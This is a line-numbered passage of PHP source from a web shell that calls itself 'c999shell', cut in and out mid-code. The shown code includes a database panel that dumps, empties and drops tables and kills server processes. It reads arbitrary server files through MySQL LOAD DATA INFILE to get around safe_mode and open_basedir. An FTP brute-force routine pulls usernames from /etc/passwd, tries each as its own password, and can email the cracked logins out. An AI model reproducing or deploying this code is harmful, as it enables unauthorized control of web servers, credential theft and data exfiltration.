2190 ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
2191
2192 if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
2193
2194 if ($sql_act == "newtbl")
2195
2196 {
2197
2198 echo "<b>";
2199
2200 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
2201
2202 }
2203
2204 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
2205
2206 }
2207
2208 elseif ($sql_act == "dump")
2209
2210 {
2211
2212 if (empty($submit))
2213
2214 {
2215
2216 $diplay = FALSE;
2217
2218 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
2219
2220 echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
2221
2222 $v = join (";",$dmptbls);
2223
2224 echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
2225
2226 if ($dump_file) {$tmp = $dump_file;}
2227
2228 else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
2229
2230 echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
2231
2232 echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
2233
2234 echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
2235
2236 echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
2237
2238 echo "</form>";
2239
2240 }
2241
2242 else
2243
2244 {
2245
2246 $diplay = TRUE;
2247
2248 $set = array();
2249
2250 $set["sock"] = $sql_sock;
2251
2252 $set["db"] = $sql_db;
2253
2254 $dump_out = "download";
2255
2256 $set["print"] = 0;
2257
2258 $set["nl2br"] = 0;
2259
2260 $set[""] = 0;
2261
2262 $set["file"] = $dump_file;
2263
2264 $set["add_drop"] = TRUE;
2265
2266 $set["onlytabs"] = array();
2267
2268 if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
2269
2270 $ret = mysql_dump($set);
2271
2272 if ($sql_dump_download)
2273
2274 {
2275
2276 @ob_clean();
2277
2278 header("Content-type: application/octet-stream");
2279
2280 header("Content-length: ".strlen($ret));
2281
2282 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
2283
2284 echo $ret;
2285
2286 exit;
2287
2288 }
2289
2290 elseif ($sql_dump_savetofile)
2291
2292 {
2293
2294 $fp = fopen($sql_dump_file,"w");
2295
2296 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
2297
2298 else
2299
2300 {
2301
2302 fwrite($fp,$ret);
2303
2304 fclose($fp);
2305
2306 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
2307
2308 }
2309
2310 }
2311
2312 else {echo "<b>Dump: nothing to do!</b>";}
2313
2314 }
2315
2316 }
2317
2318 if ($diplay)
2319
2320 {
2321
2322 if (!empty($sql_tbl))
2323
2324 {
2325
2326 if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
2327
2328 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
2329
2330 $count_row = mysql_fetch_array($count);
2331
2332 mysql_free_result($count);
2333
2334 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
2335
2336 $tbl_struct_fields = array();
2337
2338 while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
2339
2340 if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
2341
2342 if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
2343
2344 if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
2345
2346 if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
2347
2348 $perpage = $sql_tbl_le - $sql_tbl_ls;
2349
2350 if (!is_numeric($perpage)) {$perpage = 10;}
2351
2352 $numpages = $count_row[0]/$perpage;
2353
2354 $e = explode(" ",$sql_order);
2355
2356 if (count($e) == 2)
2357
2358 {
2359
2360 if ($e[0] == "d") {$asc_desc = "DESC";}
2361
2362 else {$asc_desc = "ASC";}
2363
2364 $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
2365
2366 }
2367
2368 else {$v = "";}
2369
2370 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
2371
2372 $result = mysql_query($query) or print(mysql_smarterror());
2373
2374 echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
2375
2376 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[ <b>Structure</b> ]</a> ";
2377
2378 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[ <b>Browse</b> ]</a> ";
2379
2380 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[ <b>Dump</b> ]</a> ";
2381
2382 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> ";
2383
2384 if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
2385
2386 if ($sql_tbl_act == "insert")
2387
2388 {
2389
2390 if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
2391
2392 if (!empty($sql_tbl_insert_radio))
2393
2394 {
2395
2396
2397
2398 }
2399
2400 else
2401
2402 {
2403
2404 echo "<br><br><b>Inserting row into table:</b><br>";
2405
2406 if (!empty($sql_tbl_insert_q))
2407
2408 {
2409
2410 $sql_query = "SELECT * FROM `".$sql_tbl."`";
2411
2412 $sql_query .= " WHERE".$sql_tbl_insert_q;
2413
2414 $sql_query .= " LIMIT 1;";
2415
2416 $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
2417
2418 $values = mysql_fetch_assoc($result);
2419
2420 mysql_free_result($result);
2421
2422 }
2423
2424 else {$values = array();}
2425
2426 echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 width=\"1%\"><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
2427
2428 foreach ($tbl_struct_fields as $field)
2429
2430 {
2431
2432 $name = $field["Field"];
2433
2434 if (empty($sql_tbl_insert_q)) {$v = "";}
2435
2436 echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
2437
2438 $i++;
2439
2440 }
2441
2442 echo "</table><br>";
2443
2444 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
2445
2446 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
2447
2448 echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
2449
2450 }
2451
2452 }
2453
2454 if ($sql_tbl_act == "browse")
2455
2456 {
2457
2458 $sql_tbl_ls = abs($sql_tbl_ls);
2459
2460 $sql_tbl_le = abs($sql_tbl_le);
2461
2462 echo "<hr size=\"1\" noshade>";
2463
2464 echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
2465
2466 $b = 0;
2467
2468 for($i=0;$i<$numpages;$i++)
2469
2470 {
2471
2472 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
2473
2474 echo $i;
2475
2476 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
2477
2478 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
2479
2480 else {echo " ";}
2481
2482 }
2483
2484 if ($i == 0) {echo "empty";}
2485
2486 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
2487
2488 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 width=\"1%\" >";
2489
2490 echo "<tr>";
2491
2492 echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
2493
2494 for ($i=0;$i<mysql_num_fields($result);$i++)
2495
2496 {
2497
2498 $v = mysql_field_name($result,$i);
2499
2500 if ($e[0] == "a") {$s = "d"; $m = "asc";}
2501
2502 else {$s = "a"; $m = "desc";}
2503
2504 echo "<td>";
2505
2506 if (empty($e[0])) {$e[0] = "a";}
2507
2508 if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
2509
2510 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
2511
2512 echo "</td>";
2513
2514 }
2515
2516 echo "<td><font color=\"green\"><b>Action</b></font></td>";
2517
2518 echo "</tr>";
2519
2520 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
2521
2522 {
2523
2524 echo "<tr>";
2525
2526 $w = "";
2527
2528 $i = 0;
2529
2530 foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
2531
2532 if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
2533
2534 echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
2535
2536 $i = 0;
2537
2538 foreach ($row as $k=>$v)
2539
2540 {
2541
2542 $v = htmlspecialchars($v);
2543
2544 if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
2545
2546 echo "<td>".$v."</td>";
2547
2548 $i++;
2549
2550 }
2551
2552 echo "<td>";
2553
2554 echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
2555
2556 echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
2557
2558 echo "</td>";
2559
2560 echo "</tr>";
2561
2562 }
2563
2564 mysql_free_result($result);
2565
2566 echo "</table><hr size=\"1\" noshade><p align=\"left\"><select name=\"sql_act\">";
2567
2568 echo "<option value=\"\">With selected:</option>";
2569
2570 echo "<option value=\"deleterow\">Delete</option>";
2571
2572 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
2573
2574 }
2575
2576 }
2577
2578 else
2579
2580 {
2581
2582 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
2583
2584 if (!$result) {echo mysql_smarterror();}
2585
2586 else
2587
2588 {
2589
2590 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 width=\"100%\"><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
2591
2592
2593
2594 $i = 0;
2595
2596 $tsize = $trows = 0;
2597
2598 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
2599
2600 {
2601
2602 $tsize += $row["Data_length"];
2603
2604 $trows += $row["Rows"];
2605
2606 $size = view_size($row["Data_length"]);
2607
2608 echo "<tr>";
2609
2610 echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
2611
2612 echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
2613
2614 echo "<td>".$row["Rows"]."</td>";
2615
2616 echo "<td>".$row["Type"]."</td>";
2617
2618 echo "<td>".$row["Create_time"]."</td>";
2619
2620 echo "<td>".$row["Update_time"]."</td>";
2621
2622 echo "<td>".$size."</td>";
2623
2624 echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
2625
2626 echo "</tr>";
2627
2628 $i++;
2629
2630 }
2631
2632 echo "<tr bgcolor=\"000000\">";
2633
2634 echo "<td><center><b>?В»</b></center></td>";
2635
2636 echo "<td><center><b>".$i." table(s)</b></center></td>";
2637
2638 echo "<td><b>".$trows."</b></td>";
2639
2640 echo "<td>".$row[1]."</td>";
2641
2642 echo "<td>".$row[10]."</td>";
2643
2644 echo "<td>".$row[11]."</td>";
2645
2646 echo "<td><b>".view_size($tsize)."</b></td>";
2647
2648 echo "<td></td>";
2649
2650 echo "</tr>";
2651
2652 echo "</table><hr size=\"1\" noshade><p align=\"right\"><select name=\"sql_act\">";
2653
2654 echo "<option value=\"\">With selected:</option>";
2655
2656 echo "<option value=\"tbldrop\">Drop</option>";
2657
2658 echo "<option value=\"tblempty\">Empty</option>";
2659
2660 echo "<option value=\"tbldump\">Dump</option>";
2661
2662 echo "<option value=\"tblcheck\">Check table</option>";
2663
2664 echo "<option value=\"tbloptimize\">Optimize table</option>";
2665
2666 echo "<option value=\"tblrepair\">Repair table</option>";
2667
2668 echo "<option value=\"tblanalyze\">Analyze table</option>";
2669
2670 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
2671
2672 mysql_free_result($result);
2673
2674 }
2675
2676 }
2677
2678 }
2679
2680 }
2681
2682 }
2683
2684 else
2685
2686 {
2687
2688 $acts = array("","newdb","serverstatus","servervars","processes","getfile");
2689
2690 if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
2691
2692 if (!empty($sql_act))
2693
2694 {
2695
2696 echo "<hr size=\"1\" noshade>";
2697
2698 if ($sql_act == "newdb")
2699
2700 {
2701
2702 echo "<b>";
2703
2704 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
2705
2706 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
2707
2708 }
2709
2710 if ($sql_act == "serverstatus")
2711
2712 {
2713
2714 $result = mysql_query("SHOW STATUS", $sql_sock);
2715
2716 echo "<center><b>Server-status variables:</b><br><br>";
2717
2718 echo "<TABLE cellSpacing=0 cellPadding=0 ><td><b>Name</b></td><td><b>Value</b></td></tr>";
2719
2720 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
2721
2722 echo "</table></center>";
2723
2724 mysql_free_result($result);
2725
2726 }
2727
2728 if ($sql_act == "servervars")
2729
2730 {
2731
2732 $result = mysql_query("SHOW VARIABLES", $sql_sock);
2733
2734 echo "<center><b>Server variables:</b><br><br>";
2735
2736 echo "<TABLE cellSpacing=0 cellPadding=0 ><td><b>Name</b></td><td><b>Value</b></td></tr>";
2737
2738 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
2739
2740 echo "</table>";
2741
2742 mysql_free_result($result);
2743
2744 }
2745
2746 if ($sql_act == "processes")
2747
2748 {
2749
2750 if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
2751
2752 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
2753
2754 echo "<center><b>Processes:</b><br><br>";
2755
2756 echo "<TABLE cellSpacing=0 ><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
2757
2758 while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
2759
2760 echo "</table>";
2761
2762 mysql_free_result($result);
2763
2764 }
2765
2766 if ($sql_act == "getfile")
2767
2768 {
2769
2770 $tmpdb = $sql_login."_tmpdb";
2771
2772 $select = mysql_select_db($tmpdb);
2773
2774 if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
2775
2776 if ($select)
2777
2778 {
2779
2780 $created = FALSE;
2781
2782 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
2783
2784 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
2785
2786 $result = mysql_query("SELECT * FROM tmp_file;");
2787
2788 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
2789
2790 else
2791
2792 {
2793
2794 for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
2795
2796 $f = "";
2797
2798 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
2799
2800 if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
2801
2802 else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
2803
2804 mysql_free_result($result);
2805
2806 mysql_query("DROP TABLE tmp_file;");
2807
2808 }
2809
2810 }
2811
2812 mysql_drop_db($tmpdb); //comment it if you want to leave database
2813
2814 }
2815
2816 }
2817
2818 }
2819
2820 }
2821
2822 echo "</td></tr></table>";
2823
2824 if ($sql_sock)
2825
2826 {
2827
2828 $affected = @mysql_affected_rows($sql_sock);
2829
2830 if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
2831
2832 echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
2833
2834 }
2835
2836 echo "</table>";
2837
2838}
2839
2840if ($act == "mkdir")
2841
2842{
2843
2844 if ($mkdir != $d)
2845
2846 {
2847
2848 if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
2849
2850 elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
2851
2852 echo "<br><br>";
2853
2854 }
2855
2856 $act = $dspact = "ls";
2857
2858}
2859
2860if ($act == "ftpquickbrute")
2861
2862{
2863
2864 echo "<b>Ftp Quick brute:</b><br>";
2865
2866 if (!win) {echo "This functions not work in Windows!<br><br>";}
2867
2868 else
2869
2870 {
2871
2872 function c999ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
2873
2874 {
2875
2876 if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
2877
2878 else {$TRUE = TRUE;}
2879
2880 if ($TRUE)
2881
2882 {
2883
2884 $sock = @ftp_connect($host,$port,$timeout);
2885
2886 if (@ftp_login($sock,$login,$pass))
2887
2888 {
2889
2890 echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
2891
2892 ob_flush();
2893
2894 return TRUE;
2895
2896 }
2897
2898 }
2899
2900 }
2901
2902 if (!empty($submit))
2903
2904 {
2905
2906 if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
2907
2908 $fp = fopen("/etc/passwd","r");
2909
2910 if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
2911
2912 else
2913
2914 {
2915
2916 if ($fqb_logging)
2917
2918 {
2919
2920 if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
2921
2922 else {$fqb_logfp = FALSE;}
2923
2924 $fqb_log = "FTP Quick Brute (called c999shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
2925
2926 if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
2927
2928 }
2929
2930 ob_flush();
2931
2932 $i = $success = 0;
2933
2934 $ftpquick_st = getmicrotime();
2935
2936 while(!feof($fp))
2937
2938 {
2939
2940 $str = explode(":",fgets($fp,2048));
2941
2942 if (c999ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
2943
2944 {
2945
2946 echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
2947
2948 $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
2949
2950 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
2951
2952 $success++;
2953
2954 ob_flush();
2955
2956 }
2957
2958 if ($i > $fqb_lenght) {break;}
2959
2960 $i++;
2961
2962 }
2963
2964 if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
2965
2966 $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
2967
2968 echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
2969
2970 $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
2971
2972 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
2973
2974 if ($fqb_logemail) {@mail($fqb_logemail,"c999shell v. ".$shver." report",$fqb_log);}
2975
2976 fclose($fqb_logfp);
2977
2978 }
2979
2980 }
2981
2982 else
2983
2984 {
2985
2986 $logfile = $tmpdir_logs."c999sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
2987
2988 $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
2989
